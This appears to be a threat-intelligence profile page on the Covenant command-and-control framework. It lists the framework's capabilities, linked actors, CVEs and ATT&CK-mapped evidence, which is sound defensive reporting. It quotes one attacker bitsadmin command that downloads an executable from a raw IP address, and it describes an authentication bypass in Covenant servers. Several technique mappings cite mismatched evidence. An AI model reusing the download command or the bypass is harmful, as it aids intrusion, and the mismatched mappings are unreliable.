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Mallory
Malware6 associated actors3 associated CVEs

Covenant

Tracked since Nov 25, 2025 · Updated 1 month ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns3Associated
Actors6Associated
ATT&CK83Techniques
IOCs100Tracked
Type
Backdoor
Capabilities
Credential theftExfiltrationPersistencePrivilege escalationLateral movementPost exploitationDefense evasion
Delivery
Spearphishing
Platforms
Windows

Covenant is an open-source C#/.NET command-and-control and post-exploitation framework first released in February 2019. Designed for security testing and red-team operations, it has also been used in malicious intrusions. Its implant agents, called Grunts, provide remote task execution on Windows systems through dynamically compiled .NET code and encrypted command-and-control communications. The framework supports HTTP-based communications and SMB-linked child implants for network pivoting.

Covenant supports command-shell and PowerShell execution, arbitrary C# task compilation, credential collection, file retrieval, screenshot capture, token impersonation, UAC bypass, and lateral movement through WMI, DCOM, and PowerShell remoting. Many functions use SharpSploit. Persistence mechanisms include Registry Run keys and WMI event subscriptions. Its launchers support binary, shellcode, PowerShell, MSBuild, InstallUtil, WMIC, Regsvr32, Mshta, Cscript, and Wscript execution formats. These options enable deployment through legitimate Windows utilities and in-memory execution, reducing reliance on conventional executable payloads.

Hafnium, also tracked as Ant, deployed Covenant after compromising Microsoft Exchange servers during the 2021 exploitation campaigns. Sednit, also known as APT28, Fancy Bear, and Forest Blizzard, substantially modified Covenant for long-term espionage, including deterministic implant identifiers and cloud-based command-and-control through pCloud, Koofr, and Filen. These variants have been deployed alongside BeardShell against Ukrainian governmental and military targets. A Covenant Grunt stager also forms part of the PRISMEX toolkit used against Ukrainian defense operations and military, humanitarian, and logistics support infrastructure across Central and Eastern Europe. Observed delivery chains include spearphishing with weaponized Office documents, exploitation of CVE-2026-21509, and loader-mediated deployment.

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Associated CVEs

Associated vulnerabilities

3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2021-27065via symantec enterprise blogsMicrosoft Exchange Server Post-Authentication Arbitrary File Write in ProxyLogonMicrosoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.View vulnerability →Source ↗
CVE-2021-26855via symantec enterprise blogsProxyLogon SSRF in Microsoft Exchange ServerMicrosoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.View vulnerability →Source ↗
CVE-2026-21509via csirt skExploited in the wildMicrosoft Office COM/OLE Security Feature BypassSpoločnosť Microsoft vydala mimoriadne bezpečnostné aktualizácie kancelárskeho balíka Microsoft Office, ktoré opravujú aktívne zneužívanú zero-day zraniteľnosť. CVE-2026-21509 možno zneužiť podvrhnutím špeciálne vytvorených súborov na obídenie bezpečnostných mechanizmov pre ochranu pred zneužitím niektorých funkcií COM/OLE a získanie úplnej kontroly nad systémom. | Cieľom je nainštalovať malvér MiniDoor (kradne e-maily) a PixyNetLoader, ktorý nainštaluje útočný nástroj Covenant.View vulnerability →Source ↗
Threat actors

Associated threat actors

6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
APT28

The suite consists of three components: a dropper, a loader, and a staging tool based on the open-source Covenant framework.

via broadcombroadcom.com
HAFNIUM

Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.

via symantec enterprise blogssymantec-enterprise-blogs.security.com
Ant

Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.

via symantec enterprise blogssymantec-enterprise-blogs.security.com
Mustard Tempest

"...execute payloads based on Donut and the Covenant post-exploitation framework."

via secureworks threat profilessecureworks.com
GRU Unit 26165

The attackers also customized the Covenant red-team framework to route encrypted command-and-control traffic through Koofr and Icedrive cloud services, making detection difficult.

via scworldscworld.com
APT29

In the recent attacks, the Russian threat group paired BeardShell with a heavily modified version of the open-source Covenant .NET post-exploitation framework.

via bleeping computerbleepingcomputer.com
MITRE ATT&CK

Techniques & procedures

83 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

4 techniques
T1583.006Web ServicesEvidence1

MITRE ATT&CK techniques ... T1583.006 Acquire Infrastructure: Web Services BeardShell relies on Icedrive cloud storage. Covenant relies on Filen cloud storage.

T1583.007ServerlessEvidence1

Instead of standard HTTP, APT28 built a custom bridge that uses the legitimate Koofr cloud service, with tasks and results travelling as encrypted files inside the operator's Koofr account.

T1587.001MalwareEvidence1

"BeardShell and SlimAgent are custom malware."

T1588.002ToolEvidence1

The HAFNIUM threat group uses the following tools to help its post-compromise behaviors.

Initial Access

7 techniques
T1078Valid AccountsEvidence4

The unauthenticated CovenantHub SignalR hub allows callers to invoke CreateHttpListener and receive a signed JWT token, which can then authenticate against the entire operator API.

T1133External Remote ServicesEvidence1

Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener.

T1190Exploit Public-Facing ApplicationEvidence2

Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener and receive a signed JWT token. Attackers can use the obtained token to authenticate against the entire operator API and access grunts, credentials, binaries, events, and the operator roster.

T1566PhishingEvidence2

Spear phishing campaigns or the SedKit exploit kit delivered the Seduploader first stage.

T1566.001Spearphishing AttachmentEvidence8

攻击者大多使用投递邮件的方式,向用户发送恶意构造的诱饵文件欺骗用户点击

T1566.002Spearphishing LinkEvidence1

In these earlier attacks, emails were sent to targets containing a link to a likely compromised site, which hosted an archive file.

T1566.003Spearphishing via ServiceEvidence1

"APT28 Uses Signal Chat to Deploy BEARDSHELL Malware and COVENANT in Ukraine"

Execution

14 techniques
T1047Windows Management InstrumentationEvidence3

"GenerateWmicLauncher" and "GenerateWmicHostedLauncher" are present.

T1053Scheduled Task/JobEvidence1

“Deploys: … scheduled task (“OneDriveHealth”)”

T1053.005Scheduled TaskEvidence2

...створення запланованої задачі "OneDriveHealth". Заплановане виконання задачі призведе до термінації та повторного запуску процесу explorer.exe...

T1059Command and Scripting InterpreterEvidence4

The code implements both `CscriptLauncher` and `WscriptLauncher`; their configuration includes `ScriptLanguage`, `LauncherString`, `StagerCode`, and `DiskCode`.

T1059.001PowerShellEvidence8

The launcher service exposes `GetPowerShellLauncher`, `GeneratePowerShellLauncher`, and `GeneratePowerShellHostedLauncher`; the commit description also references `PowerShellRemot...` launcher commands. | Task handling recognizes the "powershell", "powershellimport", and "powershellremotinggrunt" tasks; it can prepend imported PowerShell content to task parameters and generate a PowerShell launcher.

T1059.003Windows Command ShellEvidence5

"GenerateCscriptLauncher" and "GenerateCscriptHostedLauncher" are present.

T1059.005Visual BasicEvidence4

"GenerateWscriptLauncher" and "GenerateWscriptHostedLauncher" are present.

T1106Native APIEvidence1

Shellcode运行后,代码会动态获取VirtualAlloc的函数地址并重新分配内存空间加载最终阶段的恶意组件。

T1127Trusted Developer Utilities Proxy ExecutionEvidence2

The launcher section defines GetMSBuildLauncher, GenerateMSBuildLauncher, and GenerateMSBuildHostedLauncher operations.

T1197BITS JobsEvidence1

bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe

T1203Exploitation for Client ExecutionEvidence6

Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener and receive a signed JWT token.

T1204.002Malicious FileEvidence3

受害者通过点击~v1.pdf 启动powershell 执行恶意脚本,并通过脚本下载后续恶意文件到计算机从而实现入侵。

T1204.003Malicious ImageEvidence1

Annotations ID Technique Tactic T1204.003 Malicious Image Execution Default Configuration

T1574.001DLLEvidence1

“Deploys: DLL (“EhStoreShell.dll”)… Terminates/restarts explorer.exe → loads DLL”

Persistence

11 techniques
T1053Scheduled Task/JobEvidence1

“Deploys: … scheduled task (“OneDriveHealth”)”

T1053.005Scheduled TaskEvidence2

...створення запланованої задачі "OneDriveHealth". Заплановане виконання задачі призведе до термінації та повторного запуску процесу explorer.exe...

T1078Valid AccountsEvidence4

The unauthenticated CovenantHub SignalR hub allows callers to invoke CreateHttpListener and receive a signed JWT token, which can then authenticate against the entire operator API.

T1133External Remote ServicesEvidence1

Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener.

T1136Create AccountEvidence1

CreateHttpListener mints a brand new backing CovenantUser, assigns it the Listener role, generates a JWT signed with the server signing key, and returns that JWT to the caller.

T1197BITS JobsEvidence1

bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe

T1543Create or Modify System ProcessEvidence1

CreateProcessWithLogonW ... provides a native way to spawn a new process with different network-only credentials ... the built in Windows utility, runas, is a simple wrapper around CreateProcessWithLogonW and the /NETONLY flag provides a native way to spawn a new process with different network-only credentials.

T1543.003Windows ServiceEvidence1

Persistence matrix 2 Technique Count Framework Windows Service 4/10

T1546.003Windows Management Instrumentation Event SubscriptionEvidence1

Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10

T1546.015Component Object Model HijackingEvidence3

Persistence matrix 2 Technique Count Framework Component Object Model Hijacking 1/10 • Covenant

T1547.001Registry Run Keys / Startup FolderEvidence2

程序会解密数据并在开机启动目录下写入App.vbs文件实现本地持久化。

Privilege Escalation

13 techniques
T1053Scheduled Task/JobEvidence1

“Deploys: … scheduled task (“OneDriveHealth”)”

T1053.005Scheduled TaskEvidence2

...створення запланованої задачі "OneDriveHealth". Заплановане виконання задачі призведе до термінації та повторного запуску процесу explorer.exe...

T1055Process InjectionEvidence2

程序会尝试从C2下载数据到本地解密为Shellcode并注入到iexplore.exe进程中。

T1055.004Asynchronous Procedure CallEvidence1

并使用QueueUserAPC函将该APC对象加入到指定线程的APC队列中从而进行进入到Shellcode入口处执行恶意操作。

T1068Exploitation for Privilege EscalationEvidence1

If a user can fabricate a JWT by using the leaked JWT secret key, they can arbitrarily assign themselves admin-level credentials, log in, and wreak havoc on the server.

T1078Valid AccountsEvidence4

The unauthenticated CovenantHub SignalR hub allows callers to invoke CreateHttpListener and receive a signed JWT token, which can then authenticate against the entire operator API.

T1134Access Token ManipulationEvidence1

Access Token Manipulation (ATT&CK technique: T1134) ... this section will explain how attackers can abuse access tokens and target the fundamental trust relationships in Windows domains to compromise entire networks.

T1543Create or Modify System ProcessEvidence1

CreateProcessWithLogonW ... provides a native way to spawn a new process with different network-only credentials ... the built in Windows utility, runas, is a simple wrapper around CreateProcessWithLogonW and the /NETONLY flag provides a native way to spawn a new process with different network-only credentials.

T1543.003Windows ServiceEvidence1

Persistence matrix 2 Technique Count Framework Windows Service 4/10

T1546.003Windows Management Instrumentation Event SubscriptionEvidence1

Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10

T1546.015Component Object Model HijackingEvidence3

Persistence matrix 2 Technique Count Framework Component Object Model Hijacking 1/10 • Covenant

T1547.001Registry Run Keys / Startup FolderEvidence2

程序会解密数据并在开机启动目录下写入App.vbs文件实现本地持久化。

T1548.002Bypass User Account ControlEvidence1

The code contains a "bypassuacgrunt" task that resolves a launcher executable and appends the launcher arguments and execution directory required for the BypassUAC task. | The cited latest commit is titled `Fix launcher commands (i.e. BypassUacGrunt, WMIGrunt, PowerShellRemot...)`.

Stealth

20 techniques
T1027Obfuscated Files or InformationEvidence1

This is a .NET assembly responsible for C&C and executing further tasks from the Covenant framework. It is heavily obfuscated with randomized function names to hinder static analysis.

T1027.003SteganographyEvidence3

Стеганография (T1027.003) прячет payload от файлового анализа: PNG с шеллкодом - не исполняемый файл...

T1027.004Compile After DeliveryEvidence1

`CompileGruntCode` compiles substituted C# implant-template source through `Compiler.Compile`, including .NET Framework and .NET Core compilation requests.

T1055Process InjectionEvidence2

程序会尝试从C2下载数据到本地解密为Shellcode并注入到iexplore.exe进程中。

T1055.004Asynchronous Procedure CallEvidence1

并使用QueueUserAPC函将该APC对象加入到指定线程的APC队列中从而进行进入到Shellcode入口处执行恶意操作。

T1078Valid AccountsEvidence4

The unauthenticated CovenantHub SignalR hub allows callers to invoke CreateHttpListener and receive a signed JWT token, which can then authenticate against the entire operator API.

T1127Trusted Developer Utilities Proxy ExecutionEvidence2

The launcher section defines GetMSBuildLauncher, GenerateMSBuildLauncher, and GenerateMSBuildHostedLauncher operations.

T1134Access Token ManipulationEvidence1

Access Token Manipulation (ATT&CK technique: T1134) ... this section will explain how attackers can abuse access tokens and target the fundamental trust relationships in Windows domains to compromise entire networks.

T1197BITS JobsEvidence1

bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe

T1211Exploitation for StealthEvidence1

CVE-2026-21509 možno zneužiť podvrhnutím špeciálne vytvorených súborov na obídenie bezpečnostných mechanizmov pre ochranu pred zneužitím niektorých funkcií COM/OLE a získanie úplnej kontroly nad systémom.

T1218.004InstallUtilEvidence2

"GenerateInstallUtilLauncher" and "GenerateInstallUtilHostedLauncher" are present.

T1218.005MshtaEvidence4

"GenerateMSBuildLauncher" and "GenerateMSBuildHostedLauncher" are present.

T1218.007MsiexecEvidence1

"GenerateMshtaLauncher" and "GenerateMshtaHostedLauncher" are present.

T1218.010Regsvr32Evidence4

The launcher service exposes `GetRegsvr32Launcher`, `GenerateRegsvr32Launcher`, and `GenerateRegsvr32HostedLauncher`. | The code defines GetRegsvr32Launcher, GenerateRegsvr32Launcher, and GenerateRegsvr32HostedLauncher, including DLL name and parameter fields. | The code implements `Regsvr32Launcher`, including fields for `ParameterString` and `DllName`, and generates a launcher through `GenerateRegsvr32Launcher()`.

T1218.014MMCEvidence1

The launcher service exposes `GetMSBuildLauncher`, `GenerateMSBuildLauncher`, and `GenerateMSBuildHostedLauncher`.

T1497Virtualization/Sandbox EvasionEvidence1

最终阶段的C#模块加载之后,程序会进行一系列的虚拟环境监测,包括进程检测: 屏幕硬件信息检测:

T1497.001System ChecksEvidence1

程序会进行一系列的虚拟环境监测,包括进程检测: 屏幕硬件信息检测:

T1497.003Time Based ChecksEvidence1

Generated Grunts inherit `Delay`, `JitterPercent`, `ConnectAttempts`, and `KillDate` settings from the launcher.

T1574.001DLLEvidence1

“Deploys: DLL (“EhStoreShell.dll”)… Terminates/restarts explorer.exe → loads DLL”

T1620Reflective Code LoadingEvidence2

程序对其进行解密后,将其加载到内存中并执行。

Defense Impairment

1 technique
T1685Disable or Modify ToolsEvidence1

The changes they introduced include deterministic implant identifiers tied to host characteristics, modified execution flow to evade behavioral detection, and new cloud-based communication protocols.

Credential Access

2 techniques
T1552Unsecured CredentialsEvidence2

Attackers can use the obtained token to authenticate against the entire operator API and access grunts, credentials, binaries, events, and the operator roster.

T1606.001Web CookiesEvidence1

Covenant versions prior to 0.5 all had the same JWT secret key in default builds. The JWT in Covenant is used to authenticate users to the Covenant web UI... If a user can fabricate a JWT by using the leaked JWT secret key, they can arbitrarily assign themselves admin-level credentials, log in, and wreak havoc on the server.

Discovery

6 techniques
T1033System Owner/User DiscoveryEvidence1

malware.dll 获取当前计算机敏感信息,如计算机名称、IP、用户名等数据并拼接为JSON 格式的字符串

T1082System Information DiscoveryEvidence4

malware.dll 获取当前计算机敏感信息,如计算机名称、IP、用户名等数据

T1087Account DiscoveryEvidence1

Attackers can use the obtained token to authenticate against the entire operator API and access grunts, credentials, binaries, events, and the operator roster.

T1497Virtualization/Sandbox EvasionEvidence1

最终阶段的C#模块加载之后,程序会进行一系列的虚拟环境监测,包括进程检测: 屏幕硬件信息检测:

T1497.001System ChecksEvidence1

程序会进行一系列的虚拟环境监测,包括进程检测: 屏幕硬件信息检测:

T1497.003Time Based ChecksEvidence1

Generated Grunts inherit `Delay`, `JitterPercent`, `ConnectAttempts`, and `KillDate` settings from the launcher.

Lateral Movement

3 techniques
T1021.002SMB/Windows Admin SharesEvidence1

“Document opens → WebDAV connection to external resource”

T1021.003Distributed Component Object ModelEvidence1

The "dcomgrunt" task obtains a launcher, constructs its executable path and arguments, and adds its execution directory.

T1021.006Windows Remote ManagementEvidence1

The cited latest commit is titled `Fix launcher commands (i.e. BypassUacGrunt, WMIGrunt, PowerShellRemot...)`. | The "powershellremotinggrunt" task constructs a launcher command, including a resolved executable path and arguments.

Collection

4 techniques
T1005Data from Local SystemEvidence1

MITRE ATT&CK techniques ... T1005 Data from Local System BeardShell, Covenant, and SlimAgent collect data from a compromised machine.

T1074Data StagedEvidence1

The infection chain stages a customised Covenant framework deployment in memory.

T1113Screen CaptureEvidence2

The hub exposes "GetScreenshotContent", "GetScreenshotEvent", and "GetScreenshotEvents" methods.

T1213Data from Information RepositoriesEvidence2

/api/grunts lists every active implant, /api/credentials returns all harvested credentials, /api/downloadevents exposes exfiltrated files, /api/launchers/binary exposes implant binaries.

Command and Control

15 techniques
T1071Application Layer ProtocolEvidence15

Each generated Grunt is assigned a `Listener`, `Profile`, certificate-validation options, certificate pinning, connection-attempt settings, delay, and jitter configuration.

T1071.001Web ProtocolsEvidence12

"CreateHttpListener", "StartListener", and "GetHttpListeners" methods manage HTTP listeners.

T1071.002File Transfer ProtocolsEvidence1

For `CommunicationType.SMB`, the generated template replaces read/write formats and `{{REPLACE_PIPE_NAME}}` with the configured SMB pipe name.

T1090ProxyEvidence1

The code includes "CreateBridgeListener", "GetBridgeListeners", and "GetOutboundGrunt" service methods.

T1090.001Internal ProxyEvidence1

“…supporting capabilities such as… network pivoting.”

T1090.002External ProxyEvidence3

...в якості інфраструктури для управління COVENANT використовує легітимне хмарне сховище Filen (filen.io).

T1090.003Multi-hop ProxyEvidence1

“Multiple filen[.]io gateway domains” (MITRE table) / “across 24 subdomains”

T1095Non-Application Layer ProtocolEvidence1

The code tests whether an implant template communication type is SMB and uses SMBPipeName to find, connect, parent, and disconnect Grunts.

T1102Web ServiceEvidence6

BeardShell ... leverages the legitimate cloud storage service Icedrive as its C&C channel... Previously, in 2023, Sednit’s Covenant abused the legitimate cloud service pCloud, and in 2024–2025, Koofr ... Figure 11 shows the classes introduced by Sednit developers to communicate with the Filen cloud provider, used since July 2025.

T1102.002Bidirectional CommunicationEvidence1

Облачный C2 (Web Service, T1102.002) прячет сетевой трафик... Command and Control - Bidirectional Communication (T1102.002): BEARDSHELL работает через Icedrive API ... COVENANT - через Filen, pCloud, Koofr.

T1105Ingress Tool TransferEvidence12

Hosted-file functionality invokes listener.HostFile(file), while multiple launcher types implement Generate*HostedLauncher using a HostedFile and listener. | `ILauncherService` exposes `GenerateBinaryHostedLauncher`, `GenerateShellCodeHostedLauncher`, `GeneratePowerShellHostedLauncher`, and equivalent hosted launchers for several execution methods.

T1219Remote Access ToolsEvidence2

Cobalt Strike uses a command-line interface to interact with systems. Brute Ratel C4 can use cmd.exe for execution. Havoc can execute commands via cmd.exe. Covenant provides access to a Command Shell in Windows environments for follow-on command execution and tasking.

T1573Encrypted ChannelEvidence2

The Grunt configuration includes `GruntNegotiatedSessionKey`, `GruntRSAPublicKey`, `GruntSharedSecretPassword`, certificate validation, and certificate-pinning settings.

T1573.001Symmetric CryptographyEvidence1

“AES-256-GCM… AES-256-CBC plus HMAC-SHA256… encrypts it with… RSA… session key”

T1573.002Asymmetric CryptographyEvidence2

MITRE ATT&CK techniques ... T1573.002 Encrypted Channel: Asymmetric Cryptography BeardShell communications with Icedrive are encrypted using HTTPS. Covenant communications with its controller uses RSA-encrypted session keys.

Exfiltration

5 techniques
T1020Automated ExfiltrationEvidence1

“Automated via Covenant Grunt” (MITRE table) / “polling and uploading encrypted task files”

T1041Exfiltration Over C2 ChannelEvidence2

“Covenant… supporting a range of capabilities including data exfiltration…”

T1048Exfiltration Over Alternative ProtocolEvidence1

відкриття документу ... призводить до встановлення мережевого з'єднання із зовнішнім ресурсом з використанням протоколу WebDAV, подальшого завантаження файлу із заголовком файлу ярлика

T1567Exfiltration Over Web ServiceEvidence1

MITRE ATT&CK techniques ... T1567 Exfiltration Over Web Service BeardShell exfiltrates data to Icedrive. Covenant exfiltrates data to Filen.

T1567.002Exfiltration to Cloud StorageEvidence3

...эксфильтрация документов через тот же облачный канал (Exfiltration to Cloud Storage, T1567.002).

Impact

1 technique
T1489Service StopEvidence1

“Terminates/restarts explorer.exe → loads DLL → executes shellcode”

Indicators of compromise

Observables

100 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching100Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors6Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities3CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping83Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.